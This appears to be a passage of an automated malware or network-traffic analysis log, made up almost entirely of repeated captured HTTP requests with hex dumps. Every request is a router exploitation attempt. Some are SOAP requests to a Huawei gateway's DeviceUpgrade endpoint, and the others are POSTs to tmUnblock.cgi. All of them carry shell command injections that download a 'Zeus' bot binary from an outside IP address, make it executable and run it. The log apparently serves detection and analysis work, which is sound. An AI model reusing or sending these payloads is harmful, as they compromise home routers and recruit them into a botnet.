3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
